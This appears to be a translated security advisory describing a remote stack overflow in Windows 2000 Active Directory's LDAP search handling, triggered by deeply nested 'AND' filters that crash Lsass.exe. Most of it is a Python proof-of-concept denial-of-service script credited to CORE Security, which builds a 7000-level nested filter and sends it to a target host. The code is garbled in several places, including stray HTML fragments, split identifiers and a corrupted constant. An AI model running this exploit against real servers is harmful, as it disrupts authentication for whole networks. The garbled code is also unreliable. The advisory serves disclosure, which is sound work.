Microsoft Windows Active Directory Remote Stack Overflow Defect

involved in the program:
Win2k Active Directory

Description:
Microsoft Windows Active Directory remote stack overflow flaw

Details:
Windows Active Directory (AD) is An important component of the Windows 2000 architecture is the powerful directory service system provided by Microsoft.

The LDAP 3 search request feature of Windows Active Directory lacks the correct buffer boundary check for user submission requests, which can be exploited by remote attackers to cause the Lsass.exe service to crash, triggering a buffer overflow.

The directory service provided through Active Directory is based on the LDAP protocol and uses the protocol to store and obtain Active Directory objects. There is a problem with the 'search request' request function in LDAP using Active Directory. If an attacker builds more than 1000 "AND" requests and sends them to the server, it can trigger a stack overflow and crash the Lsass.exe service. Restart within 30 seconds.

attack:
CORE Security Technologies Advisories ([email protected]) provides the following test methods:

Here is a Python test scripts:

------------------------------------
class ActiveDirectoryDOS( Ldap ): < Br>

def __init__(self):
self._s = None
self.host = '192.168.0.1'
self.basedn = 'dc=bugweek,dc=corelabs, dc = core-sdi, dc = com '
self.port = 389
self.buffer =' '
self.msg_id = 1
Ldap .__ init __ ()

def generateFilter_BinaryOp( self, filter ):
filterBuffer = asn1.OCTETSTRING(filter[1]).encode() + asn1.OCTETSTRING(filter[2]).encode()
filterBuffer = self.encapsulateHeader (filter [0], filterBuffer)
return filterBuffer

def generateFilter_RecursiveBinaryOp (sel f, filter, numTimes):
simpleBinOp = self.generateFilter_BinaryOp( filter )
filterBuffer = simpleBinOp
for cnt in range( 0, numTimes ):
filterBuffer = self.encapsulateHeader( self.LDAP_FILTER_AND, filterBuffer + simpleBinOp)
return filterBuffer

def searchSub (self, filterBuffer):

self.bindRequest ()
self.searchRequest (filterBuffer)

def run (self, host = '', basedn = '', name = ''):

# the machine must not exist
machine_name = ' xaxax '

filterComputerNotInDir = (Ldap.LDAP_FILTER_EQUAL99vY,' name ', machine_name)

# execute the anonymous query
print' executing query '
filterBuffer = self.generateFilter_RecursiveBinaryOp (filterComputerNotInDir, 7000)
self.searchSub (filterBuffer)